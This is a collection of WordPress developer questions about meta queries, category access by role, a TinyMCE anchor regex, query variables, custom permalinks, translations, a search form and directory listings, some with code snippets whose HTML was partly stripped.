In the codex it says its possible to do get_users() with multiple meta keys by using the meta_query parameter but it doesn't explain how. Can someone give me an example?


Multiple pages displaying "Latest Posts" Content

My index page is set to show the latest posts. It have a custom option to display it with a "grid" format and another option to display only one post per row with an excerpt. I want to set two separate pages to display both content. Like ex: "blog-grid" and "blog-classic". I know that going to Settings > Reading I can set one of them but what about the other? Also, sure I can create a custom query to display the left content but I wonder if I have another solution.


Wordpress Shop and restricting products and categories for some users/groups

I have this webshop that I've built in WordPress, no WooCommerce, no Wp- Commerce or anything like that, but from scratch. The users visiting the site will have to be logged in to view products and categories otherwise they will be redirected to the login page. Now here's my question, I have created a bunch of test users and user groups/roles. I have all these categories with the products inside, some products share the same category. Now I want to restrict some categories for certain users/groups. That being said I still want the user to be able to view the product IF the product shares another category which the user has access to. So basically restricting users/groups to what categories (including products in the category) they can see. Does that make sense? What would be the best approach do this? I'm not asking for you guys to code everything for me, I've just sat for like 3 or 4 days now and haven't made anything yet that worked the way I want it work, I even tried a couple of plugins such a Restrict cateogies, Members, Member Roles etc. Regards Martin


regEx wp core file

I have an issue with the way WordPress handles creating a page anchor. The page anchor button is already defined in the WordPress TinyMCE code.. and can be added using either the Ultimate Tinymce or the TinyMCE Advanced plugin. When clicking the page anchor button, a popup opens asking the name of anchor to be defined. If entering all letters `(myAnchor)`, everything works as expected. If entering letters and numbers, beginning with a letter `(myAnchor123)`, it works as expected. But when entering an anchor beginning with a number `(123myAnchor)`... an error is thrown. Here is the code from the WordPress file `wp- includes/js/tinymce/themes/advanced/js/anchor.js`:               if (!name || !/^[a-z][a-z0-9\-\_:\.]*$/i.test(name)) {         tinyMCEPopup.alert('advanced_dlg.anchor_invalid');         return;     }      I am terrible with the `regEx` function. What I would like to do, is to keep the current functionality, but also add the ability to add anchors which begin with a number. Any suggestions on how the new `regEx` should appear? Thank you so much!


My class function is not seeing GET url paramaters

I have a set of variable set up, created with add_filter in my plugin functions file:                   add_filter('query_vars', 'user_country_var' );     add_filter('query_vars', 'user_lat_var' );     add_filter('query_vars', 'user_lon_var' );      This is then referenced by some code which I used to process the filters. This worked fine when the code was just chucked into a template file. I'm trying to tidy things up and I'm stumped. I've put the following function in a class, it's currently called at init, and is definitely there (sits alongside some other code that works fine). But it's just not getting the variables from my url, and so is outputting the fallback, 'your country':               // pull variable from url     if (isset($wp_query->query_vars['country']))         {         $this->user_country = $wp_query->query_vars['country'];         }         else { $this->user_country = 'your country'; }               if (isset($wp_query->query_vars['lat']))         {         $this->user_lat = $wp_query->query_vars['lat'];         }         else { $this->user_lat = '52.5'; }              if (isset($wp_query->query_vars['lon']))             {             $this->user_lon = $wp_query->query_vars['lon'];             }             else { $this->user_lon = '13.4'; }      Is there any reason this shouldn't be able to get the variables? As I said, it sets the default of the class's public variables fine and is executed. It's just not getting the variables even when they're there... I can post more code if it helps, or indeed clarify. Thanks in advance for any ideas!


What does $2$3 mean?

Came across a line in some Wordpress code I am modifying and just flat out don't know what the $2.$3 is? Maybe it's a PHP thing that I just never learned? Can anyone explain this to me? Here's the plugin I'm modifying:               <?php         /*         Plugin Name: Pinterest Plugin         Plugin URI: http://www.WordPressPinterestPlugin.com         Description: Display a Pinterest "Pin It" button on top of your images, only when people move their mouse over the image.         Version: 1.0          Author: Promotioner.com         Author URI: http://www.WordPressPinterestPlugin.com             /*============================================================================================================ */                  class pin_success         {             function pin_success()              {                 add_filter('the_content',  array('pin_success', 'nosn_pinterest'));             }             function nosn_pinterest($content) {                 global $post;                 $posturl = urlencode(get_permalink()); //Get the post URL                 $pindiv = '
';                 $pinurl = '';                 $pinend = '
';                 $pattern = '//i';                  $replacement = $pindiv.$pinurl.'$2.$3'.$pindescription.$pinfinish.''.$pinend;                 $content = preg_replace( $pattern, $replacement, $content );                                     return $content;             }            }                            $successnexus = new pin_success;                   wp_enqueue_style('sn_pinterest', plugins_url('sn_pinterest.css', __FILE__ ));     ?>


Get data from custom post type to another custom post type?

I'am wondering if i can do this: I have a Custom post type with named Staff, there you can create/add your staff. Then I have another Custom post type called Projects. When I add a new project i want a list of every Staff, and then choose a staff member that was active in that project. So how do i get the data from Custom post type Staff to Custom post type Projects?


Custom WordPress user permalink

I have a little problem with my wordpress site. I need to change the user permalinks. The permalinks should contain data from wp_usermeta table. I've made some functions and the links are changed, but when i access them it says: Page not found. I'll buy you a beer if you can tell me what is wrong in my code. Here is the code:               add_filter( 'request', 'wpse5742_request' );     function wpse5742_request( $query_vars )     {         if ( array_key_exists( 'author_name', $query_vars ) ) {             global $wpdb;             $author_id = $wpdb->get_var( $wpdb->prepare( "SELECT user_id FROM {$wpdb->usermeta} WHERE meta_key='nickname' AND meta_value = %s", $query_vars['author_name'] ) );             $query_vars['author'] = $author_id;             unset( $query_vars['author_name'] );             }         return $query_vars;     }          add_filter( 'author_link', 'wpse5742_author_link', 10, 3 );     function wpse5742_author_link( $link, $author_id, $author_nicename )     {         $part1 = get_user_meta( $author_id, 'nickname', true );         $part2 = get_user_meta( $author_id, '_themex_city', true );         $part3 = get_user_meta( $author_id, '_themex_thesubject', true );         $newlink  = $part1.'/'.$part2.'/'.$part3;              if ( $newlink ) {             $link = str_replace( $author_nicename, $newlink, $link );         }         return $link;      }          add_action( 'user_profile_update_errors', 'wpse5742_set_user_nicename_to_nickname', 10, 3 );     function wpse5742_set_user_nicename_to_nickname( &$errors, $update, &$user )     {         if ( ! empty( $user->nickname ) ) {             $user->user_nicename = sanitize_title( $user->nickname, $user->display_name );         } }      The permalink I want to create is: **`example.com/username/city/occupation`**


How to change text (date) in post base on the day

So the question seem unclear, i rewrite it to hope for the best and get some great ideas. I write a WordPress Sticky post (always first on top). In that post text there is something written like : Act fast, enroll in the next class. next date : sept 10 2012. But as time past, date changes, and to keep that post current date must be change. So where I can put a list of date, and automaticly change the post date (text) according to the next date base on today date... what plugin of php code can do that... i think shortcode can do that, but what your way to fix that ? \-- example listing of date :   * sept 10 2012   * sept 30 2012   * oct 5 2012   * oct 22 2012   * .... based on that example, let's say today it's oct 1st, so i like the post to read : Act fast, enroll in the next class. next date : oct 5 2012. So like that the date list ignore the past date (to late the course is done) and show the next date based on today date, and let people know... hurry, it's soon or never. I know there will be other date, but the customer dont have to know that ! * * * > **Editors note:** For clarification, here's a short explanation what the OP > is asking for.   * A post has multiple "dates".   * Each date represents a change to the post content.   * When a date passes, the template should autom. recognize that and switch the content. _Disclaimer: This is what I've understood._


Translation not working after editing plugin template

I'm building a website with Wordpress and I'm using the plugin Event Organiser. I changed the config file of Wordpress to use the nl_NL (Dutch) language. This all works fine, even for the plugin, except the pages that use a template I overloaded in my child theme. So I made this child theme for twenty eleven, and I copied a template file of the plugin and put it in my child theme and edited it there. Now only a part is translated to Dutch, the English words/sentences that come after the edited parts (that normally are translated) stay in English. For instance I see this line in my template:               <?php edit_post_link( __( 'Edit'), '', '' ); ?>       or this line:               $utility_text = __( 'This event was posted by %4$s.', 'eventorganiser' );       which then gets printed with `printf`. I did not add these lines, they were already in the template, and did work when the template was unaltered. What can I do to fix this? Even the edit button, which translate to dutch on other pages, doesn't translate. A one line solution would be great.. But that won't be the case sadly :D


Why is this search form not submitting when button is clicked?

I've got a search form on my page, which works perfectly fine when I enter the text and press enter, however it doesn't submit anything when `.submit-search` button is clicked, why is that? note: `value="2"` is there for specific use.               <form action="<?php echo home_url(); ?>" class="search-form" method="get">     <input class="search-input" type="text" value="Search..." name="s" id="s"      onblur="if(this.value == '') this.value = 'Search...'"      onfocus="if(this.value == 'Search...') this.value = ''">     <input class="submit-search" type="button" value="2">     </form>


Hiding Directory Path

I'm not sure if I am wording this right, but I need to hide the directories of my Wordpress installation. What I mean is, I am able to go to, say:               www.example.com/wp-content/uploads/2012/08       ...and see all my uploads to my site this month. Anyone can access this from any pc. I want to block this, so that people can only see what is available on my site's pages and posts, without being able to access the filesystem of my website. Of course, not every file in my root directory can be accessed, so maybe it's normal that anyone can access my uploads. Just a little confused, and would appreciate it if someone could clear this up for me. Thanks!